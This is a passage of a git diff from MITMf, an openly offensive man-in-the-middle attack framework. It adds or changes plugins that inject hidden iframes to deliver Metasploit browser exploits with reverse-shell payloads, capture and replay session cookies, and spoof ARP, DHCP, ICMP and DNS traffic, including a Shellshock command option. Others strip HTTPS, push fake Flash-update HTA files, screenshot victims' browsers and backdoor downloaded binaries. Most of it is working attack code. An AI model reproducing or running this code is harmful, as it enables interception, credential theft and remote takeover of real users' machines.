{}: {}".format(interface, e)) class iptables: diff --git a/mitmf.py b/mitmf.py index a3265b6..66a5c68 100755 --- a/mitmf.py +++ b/mitmf.py @@ -21,7 +21,9 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message -logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages +logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) +logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys @@ -88,6 +90,8 @@ strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +ProxyPlugins().all_plugins = plugins + #All our options should be loaded now, start initializing the plugins print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename) for plugin in plugins: @@ -102,6 +106,7 @@ for plugin in plugins: for line in xrange(0, len(plugin.tree_info)): print "| |_ {}".format(plugin.tree_info.pop()) + plugin.setup_logger() plugin.initialize(options) if plugin.tree_info: @@ -109,16 +114,21 @@ for plugin in plugins: print "| |_ {}".format(plugin.tree_info.pop()) plugin.reactor(strippingFactory) - plugin.setup_logger() plugin.start_config_watch() print "|" print "|_ Sergio-Proxy v0.2.1 online" print "|_ SSLstrip v0.9 by Moxie Marlinspike online" +print "|" + +#Start mitmf-api +from core.mitmfapi import mitmfapi +print "|_ MITMf-API online" +mitmfapi().start() #Start Net-Creds from core.netcreds.NetCreds import NetCreds -NetCreds().start(options.interface) +NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py index b0852a8..3430d94 100644 --- a/plugins/appcachepoison.py +++ b/plugins/appcachepoison.py @@ -55,7 +55,7 @@ class AppCachePlugin(Plugin): if regexp and not re.search(regexp,req_headers["user-agent"]): self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo) return {'response': response, 'request': request, 'data': data} - + urls = self.urlMonitor.getRedirectionSet(url) self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) (name,s,element,url) = self.getSectionForUrls(urls) diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py index 94033d1..6f3f564 100644 --- a/plugins/browserprofiler.py +++ b/plugins/browserprofiler.py @@ -38,6 +38,7 @@ class BrowserProfiler(Inject, Plugin): if (request.command == 'POST') and ('clientprfl' in request.uri): request.handle_post_output = True self.output = json.loads(request.postData) + self.output['ip'] = request.client.getClientIP() pretty_output = pformat(self.output) self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py new file mode 100644 index 0000000..3d72fce --- /dev/null +++ b/plugins/browsersniper.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +from time import sleep +from plugins.plugin import Plugin +from plugins.browserprofiler import BrowserProfiler + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = options.ip + self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + from core.msfrpc import Msf + self.msf = Msf() + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='sniper', target=self.snipe) + t.setDaemon(True) + t.start() + + def _setupExploit(self, exploit, msfport): + + self.log.debug('Setting up {}'.format(exploit)) + rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + rand_port = random.randint(1000, 65535) + + #generate the command string to send to the virtual console + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + return rand_url + + def _compat_system(self, os_config, brw_config, os, browser): + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = [] + vic_ip = self.output['ip'] + os = self.output['ua_name'] + browser = self.output['os_name'] + java = None + flash = None + + if self.output['java'] is not None: + java = self.output['java'] + + if self.output['flash'] is not None: + flash = self.output['flash'] + + self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash)) + + for exploit, details in self.config['BrowserSniper']['exploits'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (flash in details['PluginVersions']): + exploits.append(exploit) + + self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + self.log.info("{} => Now injecting iframe to trigger exploits".format(ip)) + self.html_url = url + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip)) + + poll_n = 1 + while poll_n != 30: + + if self.msf.sessionsfrompeer(ip): + self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped + self.html_url = None + return + + poll_n += 1 + sleep(2) + + self.log.info("{} => Session not established after 60 seconds".format(ip)) + self.html_url = None + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + + if vic_ip not in self.sploited_ips: + msfport = self.config['BrowserSniper']['msfport'] + exploits = self.getExploits() + + if not exploits: + self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + for exploit in exploits: + + jobs = self.msf.findjobs(exploit) + if jobs: + self.log.info('{} => {} already started'.format(vic_ip, exploit)) + url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit + else: + url = self._setupExploit(exploit, msfport) + + iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url) + self.injectAndPoll(vic_ip, iframe_url) + + sleep(1) diff --git a/plugins/ferretng.py b/plugins/ferretng.py index 8be8492..75df7be 100644 --- a/plugins/ferretng.py +++ b/plugins/ferretng.py @@ -26,75 +26,75 @@ from twisted.web import http from twisted.internet import reactor class FerretNG(Plugin): - name = "Ferret-NG" - optname = "ferretng" - desc = "Captures cookies and starts a proxy that will feed them to connected clients" - version = "0.1" - has_opts = True + name = "Ferret-NG" + optname = "ferretng" + desc = "Captures cookies and starts a proxy that will feed them to connected clients" + version = "0.1" + has_opts = True - def initialize(self, options): - self.options = options - self.ferret_port = options.ferret_port - self.cookie_file = None + def initialize(self, options): + self.options = options + self.ferret_port = options.ferret_port + self.cookie_file = None - from core.ferretng.FerretProxy import FerretProxy - from core.ferretng.URLMonitor import URLMonitor + from core.ferretng.FerretProxy import FerretProxy + from core.ferretng.URLMonitor import URLMonitor - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - from core.utils import shutdown - if options.cookie_file: - self.tree_info.append('Loading cookies from log file') - try: - with open(options.cookie_file, 'r') as cookie_file: - self.cookie_file = json.dumps(cookie_file.read()) - URLMonitor.getInstance().cookies = self.cookie_file - cookie_file.close() - except Exception as e: - shutdown("[-] Error loading cookie log file: {}".format(e)) + from core.utils import shutdown + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = json.dumps(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + cookie_file.close() + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) - self.tree_info.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) - def on_config_change(self): - self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) - URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + def on_config_change(self): + self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] - def request(self, request): - if 'cookie' in request.headers: - host = request.headers['host'] - cookie = request.headers['cookie'] - client = request.client.getClientIP() + def request(self, request): + if 'cookie' in request.headers: + host = request.headers['host'] + cookie = request.headers['cookie'] + client = request.client.getClientIP() - if client not in URLMonitor.getInstance().cookies: - URLMonitor.getInstance().cookies[client] = [] + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] - for entry in URLMonitor.getInstance().cookies[client]: - if host == entry['host']: - self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) - entry['host'] = host - entry['cookie'] = cookie - return + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) + entry['host'] = host + entry['cookie'] = cookie + return - self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) - URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) + self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) - def reactor(self, StrippingProxy): - FerretFactory = http.HTTPFactory(timeout=10) - FerretFactory.protocol = FerretProxy - reactor.listenTCP(self.ferret_port, FerretFactory) + def reactor(self, StrippingProxy): + FerretFactory = http.HTTPFactory(timeout=10) + FerretFactory.protocol = FerretProxy + reactor.listenTCP(self.ferret_port, FerretFactory) - def options(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') - options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') + def options(self, options): + options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') - def on_shutdown(self): - if not URLMonitor.getInstance().cookies: - return + def on_shutdown(self): + if not URLMonitor.getInstance().cookies: + return - if self.cookie_file == URLMonitor.getInstance().cookies: - return - - self.log.info("Writing cookies to log file") - with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: - cookie_file.write(str(URLMonitor.getInstance().cookies)) - cookie_file.close() + if self.cookie_file == URLMonitor.getInstance().cookies: + return + + self.log.info("Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) + cookie_file.close() diff --git a/plugins/filepwn.py b/plugins/filepwn.py index 49c71d0..52f46b2 100644 --- a/plugins/filepwn.py +++ b/plugins/filepwn.py @@ -111,21 +111,17 @@ class FilePwn(Plugin): #NOT USED NOW self.supportedBins = ('MZ', '7f454c46'.decode('hex')) - + #FilePwn options - self.userConfig = self.config['FilePwn'] - self.FileSizeMax = self.userConfig['targets']['ALL']['FileSizeMax'] - self.WindowsIntelx86 = self.userConfig['targets']['ALL']['WindowsIntelx86'] - self.WindowsIntelx64 = self.userConfig['targets']['ALL']['WindowsIntelx64'] - self.WindowsType = self.userConfig['targets']['ALL']['WindowsType'] - self.LinuxIntelx86 = self.userConfig['targets']['ALL']['LinuxIntelx86'] - self.LinuxIntelx64 = self.userConfig['targets']['ALL']['LinuxIntelx64'] - self.LinuxType = self.userConfig['targets']['ALL']['LinuxType'] - self.MachoIntelx86 = self.userConfig['targets']['ALL']['MachoIntelx86'] - self.MachoIntelx64 = self.userConfig['targets']['ALL']['MachoIntelx64'] - self.FatPriority = self.userConfig['targets']['ALL']['FatPriority'] - self.zipblacklist = self.userConfig['ZIP']['blacklist'] - self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.userConfig = self.config['FilePwn'] + self.hostblacklist = self.userConfig['hosts']['blacklist'] + self.hostwhitelist = self.userConfig['hosts']['whitelist'] + self.keysblacklist = self.userConfig['keywords']['blacklist'] + self.keyswhitelist = self.userConfig['keywords']['whitelist'] + self.zipblacklist = self.userConfig['ZIP']['blacklist'] + self.tarblacklist = self.userConfig['TAR']['blacklist'] + self.parse_target_config(self.userConfig['targets']['ALL']) + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) @@ -570,12 +566,40 @@ class FilePwn(Plugin): else: self.patched.put(tempZipFile) return + + def parse_target_config(self, targetConfig): + for key, value in targetConfig.iteritems(): + if hasattr(self, key) is False: + setattr(self, key, value) + self.log.debug("Settings Config {}: {}".format(key, value)) + + elif getattr(self, key, value) != value: + + if value == "None": + continue + + #test if string can be easily converted to dict + if ':' in str(value): + for tmpkey, tmpvalue in dict(value).iteritems(): + getattr(self, key, value)[tmpkey] = tmpvalue + self.log.debug("Updating Config {}: {}".format(tmpkey, tmpvalue)) + + else: + setattr(self, key, value) + self.log.debug("Updating Config {}: {}".format(key, value)) def response(self, response, request, data): content_header = response.headers['Content-Type'] client_ip = response.getClientIP() + for target in self.userConfig['targets'].keys(): + if target == 'ALL': + self.parse_target_config(self.userConfig['targets']['ALL']) + + if target in request.headers['host']: + self.parse_target_config(self.userConfig['targets'][target]) + if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): diff --git a/plugins/htadriveby.py b/plugins/htadriveby.py index 451093e..13385ca 100644 --- a/plugins/htadriveby.py +++ b/plugins/htadriveby.py @@ -21,36 +21,36 @@ import flask from plugins.plugin import Plugin from plugins.inject import Inject -from core.servers.http.HTTPserver import HTTPserver class HTADriveBy(Inject, Plugin): - name = 'HTA Drive-By' - desc = 'Performs HTA drive-by attacks on clients' - optname = 'hta' - ver = '0.1' + name = 'HTA Drive-By' + desc = 'Performs HTA drive-by attacks on clients' + optname = 'hta' + ver = '0.1' - def initialize(self, options): - self.bar_text = options.text - self.ip = options.ip - Inject.initialize(self, options) - self.html_payload = self.get_payload() + def initialize(self, options): + self.bar_text = options.text + self.ip = options.ip + Inject.initialize(self, options) + self.html_payload = self.get_payload() - server = HTTPserver().server + from core.servers.http.HTTPserver import HTTPserver + def hta_request(path): + if path == options.hta_app.split('/')[-1]: + with open(options.hta_app) as hta_file: + resp = flask.Response(hta_file.read()) - @server.route('/') - def client_request(hta_req): - if hta_req == "Flash.hta": - with open('./config/hta_driveby/Flash.hta') as hta_file: - resp = flask.Response(hta_file.read()) + resp.headers['Content-Type'] = "application/hta" + return resp - resp.headers['Content-Type'] = "application/hta" - return resp + HTTPserver().add_endpoint(hta_request) - def get_payload(self): - with open("./core/html/htadriveby.html", 'r') as file: - payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) - payload = re.sub("_IP_GOES_HERE_", self.ip, payload) - return payload + def get_payload(self): + with open("./core/html/htadriveby.html", 'r') as file: + payload = re.sub("_TEXT_GOES_HERE_", self.bar_text, file.read()) + payload = re.sub("_IP_GOES_HERE_", self.ip, payload) + return payload - def options(self, options): - options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + def options(self, options): + options.add_argument('--text', type=str, default='The Adobe Flash Player plug-in was blocked because it is out of date.', help="Text to display on notification bar") + options.add_argument('--hta-app', type=str, default='./config/hta_driveby/Flash.hta', help='Path to HTA application [defaults to config/hta_driveby/Flash.hta]') diff --git a/plugins/inject.py b/plugins/inject.py index 0ad7b07..327672c 100644 --- a/plugins/inject.py +++ b/plugins/inject.py @@ -65,7 +65,7 @@ class Inject(Plugin): if self.html_url: iframe = html.new_tag("iframe", src=self.html_url, frameborder=0, height=0, width=0) html.body.append(iframe) - self.clientlog.info("Injected HTML Iframe: {}".format(hn)) + self.clientlog.info("Injected HTML Iframe: {}".format(hn), extra=request.clientInfo) if self.html_payload: payload = BeautifulSoup(self.html_payload, "html.parser") diff --git a/plugins/replace.py b/plugins/replace.py index c12fdbe..5133d93 100644 --- a/plugins/replace.py +++ b/plugins/replace.py @@ -26,28 +26,28 @@ import re from plugins.plugin import Plugin class Replace(Plugin): - name = "Replace" - optname = "replace" - desc = "Replace arbitrary content in HTML content" - version = "0.2" + name = "Replace" + optname = "replace" + desc = "Replace arbitrary content in HTML content" + version = "0.2" - def initialize(self, options): - self.options = options + def initialize(self, options): + self.options = options - def response(self, response, request, data): - mime = response.headers['Content-Type'] - hn = response.getRequestHostname() + def response(self, response, request, data): + mime = response.headers['Content-Type'] + hn = response.getRequestHostname() - if "text/html" in mime: + if "text/html" in mime: - for rulename, regexs in self.config['Replace'].iteritems(): - for regex1,regex2 in regexs.iteritems(): - if re.search(regex1, data): - try: - data = re.sub(regex1, regex2, data) + for rulename, regexs in self.config['Replace'].iteritems(): + for regex1,regex2 in regexs.iteritems(): + if re.search(regex1, data): + try: + data = re.sub(regex1, regex2, data) - self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) - except Exception: - self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) + self.clientlog.info("occurances matching '{}' replaced with '{}' according to rule '{}'".format(regex1, regex2, rulename), extra=request.clientInfo) + except Exception: + self.log.error("Your provided regex ({}) or replace value ({}) is empty or invalid. Please debug your provided regex(es) in rule '{}'".format(regex1, regex2, rulename)) - return {'response': response, 'request': request, 'data': data} + return {'response': response, 'request': request, 'data': data} diff --git a/plugins/responder.py b/plugins/responder.py index aa2a6f9..7b21f48 100644 --- a/plugins/responder.py +++ b/plugins/responder.py @@ -17,6 +17,7 @@ # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 # USA # +import flask from plugins.plugin import Plugin from twisted.internet import reactor @@ -53,13 +54,8 @@ class Responder(Plugin): if options.wpad: from core.servers.http.HTTPserver import HTTPserver - import flask - - server = HTTPserver().server - - @server.route('/') - def wpad(wpad_req): - if (wpad_req == 'wpad.dat') or (wpad_req.endswith('.pac')): + def wpad_request(path): + if (path == 'wpad.dat') or (path.endswith('.pac')): payload = self.config['Responder']['WPADScript'] resp = flask.Response(payload) @@ -70,6 +66,8 @@ class Responder(Plugin): return resp + HTTPserver().add_endpoint(wpad_request) + if self.config["Responder"]["MSSQL"].lower() == "on": from core.responder.mssql.MSSQLserver import MSSQLserver MSSQLserver().start(smbChal) diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index b7f9ccc..9a7f783 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -27,33 +27,33 @@ from plugins.plugin import Plugin from plugins.inject import Inject class ScreenShotter(Inject, Plugin): - name = 'ScreenShotter' - optname = 'screen' - desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' - ver = '0.1' + name = 'ScreenShotter' + optname = 'screen' + desc = 'Uses HTML5 Canvas to render an accurate screenshot of a clients browser' + ver = '0.1' - def initialize(self, options): - Inject.initialize(self, options) - self.js_payload = self.get_payload() - self.interval = options.interval + def initialize(self, options): + Inject.initialize(self, options) + self.js_payload = self.get_payload() + self.interval = options.interval - def request(self, request): - if 'saveshot' in request.uri: - request.handle_post_output = True + def request(self, request): + if 'saveshot' in request.uri: + request.handle_post_output = True - client = request.client.getClientIP() - img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) - try: - with open('./logs/' + img_file, 'wb') as img: - img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) - img.close() + client = request.client.getClientIP() + img_file = '{}-{}-{}.png'.format(client, request.headers['host'], datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")) + try: + with open('./logs/' + img_file, 'wb') as img: + img.write(base64.b64decode(urllib.unquote(request.postData).decode('utf8').split(',')[1])) + img.close() - self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) - except Exception as e: - self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) + self.clientlog.info('Saved screenshot to {}'.format(img_file), extra=request.clientInfo) + except Exception as e: + self.clientlog.error('Error saving screenshot: {}'.format(e), extra=request.clientInfo) - def get_payload(self): - return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) + def get_payload(self): + return re.sub("SECONDS_GO_HERE", str(self.interval*1000), open("./core/javascript/screenshot.js", "rb").read()) - def options(self, options): - options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") + def options(self, options): + options.add_argument("--interval", dest="interval", type=int, metavar="SECONDS", default=10, help="Interval at which screenshots will be taken (default 10 seconds)") diff --git a/plugins/spoof.py b/plugins/spoof.py new file mode 100644 index 0000000..7f91e73 --- /dev/null +++ b/plugins/spoof.py @@ -0,0 +1,115 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +from plugins.plugin import Plugin + +class Spoof(Plugin): + name = "Spoof" + optname = "spoof" + desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" + version = "0.6" + has_opts = True + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.manualiptables = options.manualiptables + self.protocol_instances = [] + + from core.utils import iptables, shutdown, set_ip_forwarding + #Makes scapy more verbose + debug = False + + if options.arp: + if not options.gateway: + shutdown("[Spoof] --arp argument requires --gateway") + + from core.poisoners.arp.ARPpoisoner import ARPpoisoner + arp = ARPpoisoner(options) + arp.debug = debug + self.tree_info.append('ARP spoofing enabled') + self.protocol_instances.append(arp) + + elif options.dhcp: + from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + + if options.targets: + shutdown("[Spoof] --targets argument invalid when DCHP spoofing") + + dhcp = DHCPpoisoner(options, self.config['Spoof']['DHCP']) + dhcp.debug = debug + self.tree_info.append('DHCP spoofing enabled') + self.protocol_instances.append(dhcp) + + elif options.icmp: + from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + + if not options.gateway: + shutdown("[Spoof] --icmp argument requires --gateway") + + if not options.targets: + shutdown("[Spoof] --icmp argument requires --targets") + + icmp = ICMPpoisoner(options) + icmp.debug = debug + self.tree_info.append('ICMP spoofing enabled') + self.protocol_instances.append(icmp) + + if options.dns: + from core.servers.dns.DNSchef import DNSChef + + self.tree_info.append('DNS spoofing enabled') + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + if not options.arp and not options.icmp and not options.dhcp and not options.dns: + shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns") + + set_ip_forwarding(1) + + if not options.manualiptables: + if iptables().http is False: + iptables().HTTP(options.listen_port) + + for protocol in self.protocol_instances: + protocol.start() + + def options(self, options): + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing') + group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects') + group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers') + options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries') + options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command') + options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP') + options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]') + options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison') + options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') + + def on_shutdown(self): + from core.utils import iptables, set_ip_forwarding + + for protocol in self.protocol_instances: + if hasattr(protocol, 'stop'): + protocol.stop() + + if not self.manualiptables: + iptables().Flush() + + set_ip_forwarding(0) diff --git a/plugins/sslstrip+.py b/plugins/sslstrip+.py new file mode 100644 index 0000000..5a33d9c --- /dev/null +++ b/plugins/sslstrip+.py @@ -0,0 +1,49 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import sys +from plugins.plugin import Plugin + +class SSLstripPlus(Plugin): + name = 'SSLstrip+' + optname = 'hsts' + desc = 'Enables SSLstrip+ for partial HSTS bypass' + version = "0.4" + tree_info = ["SSLstrip+ by Leonardo Nve running"] + has_opts = False + + def initialize(self, options): + self.options = options + self.manualiptables = options.manualiptables + + from core.sslstrip.URLMonitor import URLMonitor + from core.servers.dns.DNSchef import DNSChef + from core.utils import iptables + + if not options.manualiptables: + if iptables().dns is False: + iptables().DNS(self.config['MITMf']['DNS']['port']) + + URLMonitor.getInstance().setHstsBypass() + DNSChef().setHstsBypass() + + def on_shutdown(self): + from core.utils import iptables + if not self.manualiptables: + if iptables().dns is True: + iptables().Flush() diff --git a/requirements.txt b/requirements.txt deleted file mode 100644 index d493548..0000000 --- a/requirements.txt +++ /dev/null @@ -1,17 +0,0 @@ -Twisted -requests -netaddr -scapy -dnspython -cryptography -pycrypto -msgpack-python -configobj -mitmflib -Pillow -pefile -ipy -pyopenssl -service_identity -capstone -pypcap diff --git a/tools/cve-details-parser.py b/tools/cve-details-parser.py new file mode 100755 index 0000000..db454b3 --- /dev/null +++ b/tools/cve-details-parser.py @@ -0,0 +1,32 @@ +#! /usr/bin/env python2 + +import requests +import lxml.html +import sys + +r = requests.get(sys.argv[1]) +tree = lxml.html.fromstring(r.text) + +try: + + vulntable = tree.xpath('//table[@id="vulnprodstable"]/*') + list_len = len(vulntable) + + tuple_list = [] + + for i in vulntable[2:list_len]: + java_v = (i.getchildren()[4].text.strip(), i.getchildren()[5].text.strip()[6:].strip()) + tuple_list.append(java_v) + +except IndexError: + pass + +string_list = [] +for v in sorted(set(tuple_list)): + version, update = v + if update: + string_list.append("{}.{}".format(version, update)) + else: + string_list.append(version) + +print ', '.join(string_list) \ No newline at end of file diff --git a/update.sh b/update.sh deleted file mode 100755 index 4781f30..0000000 --- a/update.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/usr/bin/env bash -if [[ $EUID -ne 0 ]]; then - echo "You must root" 2>&1 - exit 1 -fi - -echo 'Updating MITMf' -git pull -echo 'Updating the-backdoor-factory' -cd libs/bdfactory/ -git pull origin master